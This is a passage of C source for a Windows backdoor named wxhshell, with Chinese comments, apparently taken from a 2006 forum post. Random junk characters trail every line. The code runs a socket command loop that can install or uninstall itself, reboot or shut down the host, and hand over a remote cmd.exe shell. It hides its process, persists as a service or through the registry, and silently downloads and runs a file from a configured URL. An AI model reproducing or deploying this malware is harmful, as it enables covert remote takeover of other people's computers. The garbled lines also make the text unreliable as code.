      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Rsx?8Y^5  
    break; Qnx?5R-}ZU  
  } DG,m;vg+  
  // 安装 OX}ZdM!&f  
  case 'i': { HP=5 a.  
    if(Install()) A~;.9{6J[t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <.ZD.u  
    else aqgm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hn]6re  
    break; keJ-ohv)  
    } O`_]n  
  // 卸载 v?o("I[ C  
  case 'r': { Jmu oYlf|  
    if(Uninstall()) t'DIKug&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %htbEKWR  
    else p+;x&h)[l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &D`$YUl@  
    break; b{,vZhP-  
    } 1#x@  
  // 显示 wxhshell 所在路径 2\#~%D>[  
  case 'p': { ):V)Hrq?x  
    char svExeFile[MAX_PATH]; scZ'/(b-E  
    strcpy(svExeFile,"\n\r");  W|6.gN]  
      strcat(svExeFile,ExeFile); XRn+6fn|  
        send(wsh,svExeFile,strlen(svExeFile),0); T_qh_L3  
    break; C7!=LiK}  
    } 2'WdH1UrBc  
  // 重启 nVk]Qe  
  case 'b': { 7T?7KS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {\kDu#18Ld  
    if(Boot(REBOOT)) &uJ7[m19z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e{,[\7nF  
    else { !Op18hP$  
    closesocket(wsh); =e]Wt/AQ  
    ExitThread(0); 5O"wPsl  
    } (<#Ns W!z  
    break; nmrdqSV  
    } C5oIl_t  
  // 关机 |y2cI,&   
  case 'd': { y{\(|j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~{s7(^ P  
    if(Boot(SHUTDOWN)) qzu%Pp6If  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LWP&Si*j  
    else { I\ y>I?X  
    closesocket(wsh); .g6(07TyV  
    ExitThread(0); {%z}CTf#  
    } FZtILlw  
    break; q,eXH8 x  
    } evHKq}{  
  // 获取shell 6b#J!:?  
  case 's': { cx(b5Z  
    CmdShell(wsh); :#p!&Fi  
    closesocket(wsh); 3mM.#2=@>  
    ExitThread(0); %D}]Z=gp  
    break; \) T4NN  
  } 'D;'Pr]  
  // 退出 #&c}i n"!  
  case 'x': { 6995r%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -* ;`~5  
    CloseIt(wsh); ^!>o5Y)  
    break; %j?<v@y  
    } YNi3oG]h  
  // 离开 K.jm>]'z4;  
  case 'q': { ur2`.dY>3"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2*1s(Jro  
    closesocket(wsh); c\pPwG  
    WSACleanup(); (Dx]!FFz  
    exit(1); sGD b<  
    break; Bx32pY  
        } #0j,1NpL  
  } -!]dU`:(X  
  } 8o;9=.<<~u  
`Z0#IeX=  
  // 提示信息 e RjpR?!\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kr]`.@/.S  
} eqze7EY  
  } DOm5azO!>  
<ctn_"p Z  
  return; KD7 RI3'?  
} K}U}h>N  
Mb(aI!;A  
// shell模块句柄 nEM>*;iE   
int CmdShell(SOCKET sock) w(9.{zF|vQ  
{ 3J{`]v5`  
STARTUPINFO si; }GCt)i_  
ZeroMemory(&si,sizeof(si)); +)fl9>Mb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @M-+-6+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pU*dE   
PROCESS_INFORMATION ProcessInfo; ?b~Vuo  
char cmdline[]="cmd"; _azg 0.)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [a*m9F\ ,  
  return 0; h+x"?^   
} 8v M}moper  
Nd~?kZZu  
// 自身启动模式 3~4e\xL  
int StartFromService(void) gHC -Y 0_  
{ +t R6[%  
typedef struct "S43:VH  
{ 2Ek6YNx  
  DWORD ExitStatus; MX?K3=j @>  
  DWORD PebBaseAddress; s45Y8!c  
  DWORD AffinityMask; )dJaF#6j  
  DWORD BasePriority; ;jTP|q?|{  
  ULONG UniqueProcessId; _gB`;zo  
  ULONG InheritedFromUniqueProcessId; +!V*{<K  
}   PROCESS_BASIC_INFORMATION; ' @M  
!c\d(u  
PROCNTQSIP NtQueryInformationProcess; 9 I> 3p4]  
 XGEAcN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PY.c$)az>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4?X#d)L(  
*lg1iP{]  
  HANDLE             hProcess; n< [np;\  
  PROCESS_BASIC_INFORMATION pbi; A:1O:LB=!  
-L6 rXQV@j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tgDmHxB]0  
  if(NULL == hInst ) return 0; /b20!3  
jpqq>Hbg_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _`L,}=um'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A8hj"V47  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UHz*Tfjb  
LQ?J r>4  
  if (!NtQueryInformationProcess) return 0; l0g#&V--  
l'VgS:NT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gu<3*@Ng  
  if(!hProcess) return 0; BSG_),AH  
46*o_A,"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Lm9y!>1"O  
l2=.;7 IV  
  CloseHandle(hProcess); [b J/$A  
x$AF0xFO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +M (\R?@gr  
if(hProcess==NULL) return 0; ;'dw`)~jQ  
OibW8A4Z1  
HMODULE hMod; }+QgRGQ  
char procName[255]; '@wYr|s4  
unsigned long cbNeeded; {Zjnf6d]  
1#Dpj.cO#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G!oq ;<  
._=Pa)T  
  CloseHandle(hProcess); 1fQvh/2  
&6PZX0M  
if(strstr(procName,"services")) return 1; // 以服务启动 O:RPH{D  
?.IT!M}DR  
  return 0; // 注册表启动 75@){ :  
} D<#+ R"  
ss%ahs  
// 主模块 2<yi8O\  
int StartWxhshell(LPSTR lpCmdLine) vML01SAi  
{ 9]VUQl9gh  
  SOCKET wsl; De4UGX  
BOOL val=TRUE; R(=Lhz6R4  
  int port=0; Yp./3b VO  
  struct sockaddr_in door; R"Hhc(H  
7NMQUN7k '  
  if(wscfg.ws_autoins) Install(); y^pk)`y8  
PLKp<kg  
port=atoi(lpCmdLine); d[w'j/{  
nu}$wLM  
if(port<=0) port=wscfg.ws_port; c7q1;X{:  
.Hl]xI$;+  
  WSADATA data;  1SP )`Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *|Q'?ty(x  
1@P/h#_Vr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :f ybH)*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CVo@zr$  
  door.sin_family = AF_INET; |zKe*H/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CK 3]]{  
  door.sin_port = htons(port); xSs);XO,  
uo_Y"QiKEH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rC14X}X6  
closesocket(wsl); \s<{V7tq  
return 1; ~_QZiuq&  
} s-}|_g.Pt  
`g<@F^x5  
  if(listen(wsl,2) == INVALID_SOCKET) { 1%]| O  
closesocket(wsl); Lz2wOB1Zc+  
return 1; ;RflzY|D  
} U,LW(wueT  
  Wxhshell(wsl); 9s6@AJf  
  WSACleanup(); II3)Cz}xRG  
$/Gvz)M  
return 0; \-0@9E<D  
w>p0ldi  
} ^G[xQcM73  
-X'HZ\)  
// 以NT服务方式启动 bvuoGG*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `ky< *  
{ +J} wYind  
DWORD   status = 0; $\Bzp<SN`  
  DWORD   specificError = 0xfffffff; NKvBNf|D  
~YA* RCe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =<e|<EwSZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (wEaa'XL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L@HPU;<  
  serviceStatus.dwWin32ExitCode     = 0; #:s*)(Qn  
  serviceStatus.dwServiceSpecificExitCode = 0; [4"1TyW  
  serviceStatus.dwCheckPoint       = 0; [mn@/qf  
  serviceStatus.dwWaitHint       = 0; AqB5B5}  
SG_^Rd9 D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L{jJDd  
  if (hServiceStatusHandle==0) return; u=z$**M^  
:6S!1roi  
status = GetLastError(); 1 !bODd  
  if (status!=NO_ERROR) Y (x_bJ  
{ % obR2%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %'a%ynFs  
    serviceStatus.dwCheckPoint       = 0; Bw;sg;  
    serviceStatus.dwWaitHint       = 0; -=iGl5P?  
    serviceStatus.dwWin32ExitCode     = status; "~(qp_AI  
    serviceStatus.dwServiceSpecificExitCode = specificError; z8_m<uewz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ns[v.YDL  
    return; {a\O7$A\F  
  } 5ppOG_  
'MRvH lCM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $}_N379&  
  serviceStatus.dwCheckPoint       = 0; G# gUd'=M  
  serviceStatus.dwWaitHint       = 0; f]`#BE)V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  n0F.Um  
} FRd!UqMXY  
(+6 8s9XS7  
// 处理NT服务事件,比如:启动、停止 C93BK)$}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Xf!@uS6<X  
{ J( JsfU4  
switch(fdwControl) G3'>KMa.  
{ ?YWfoH4mS  
case SERVICE_CONTROL_STOP: , (dg]7  
  serviceStatus.dwWin32ExitCode = 0; bO 2>ced  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GmP)"@O](;  
  serviceStatus.dwCheckPoint   = 0; {STOWuY  
  serviceStatus.dwWaitHint     = 0; h[ #Lg3  
  { i]J*lM7'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g}"`@H(9r3  
  } xI}o8GKQq  
  return; dU1w)Y  
case SERVICE_CONTROL_PAUSE: n8UQIa4&=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $R(?@B(  
  break; 5b45u 6  
case SERVICE_CONTROL_CONTINUE: |z\5Ik!fF]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |x@)%QeC  
  break; PtCO';9[  
case SERVICE_CONTROL_INTERROGATE: NAjY,)>'K  
  break; G6(k wv4  
}; Rt:k4Q   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yv k Qh{  
} d0Xb?- }3M  
TG7Ba[%  
// 标准应用程序主函数 o`5p "v r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ph{p[QI:{X  
{ $&~/`MxE  
O4RNt,?l  
// 获取操作系统版本 JTK>[|c9oE  
OsIsNt=GetOsVer(); *p:`F:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .Uq?SmK  
b~X^vXIv%%  
  // 从命令行安装 e8g"QDc  
  if(strpbrk(lpCmdLine,"iI")) Install(); )]WWx-Uf'  
5I/wP qR[  
  // 下载执行文件 x2x) y08  
if(wscfg.ws_downexe) { JYuI~<:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E}AOtY5a  
  WinExec(wscfg.ws_filenam,SW_HIDE); VeiJ1=hc  
} D,q=?~  
g?` g+:nug  
if(!OsIsNt) { .w2QiJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 Go~bQ2*'(/  
HideProc(); BC*vG=a  
StartWxhshell(lpCmdLine); _nu,ks+  
} Tlrr02>B{  
else JwCv(1$GM  
  if(StartFromService()) u$ [R>l9  
  // 以服务方式启动 +13h *  
  StartServiceCtrlDispatcher(DispatchTable); wI.i\ S  
else Vcn04j#Q  
  // 普通方式启动 ,dT.q  
  StartWxhshell(lpCmdLine); [M>Md-pj  
:*bv(~FW  
return 0; %x@ D i`;  
}
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只看该作者 1 发表于: 2006-10-10
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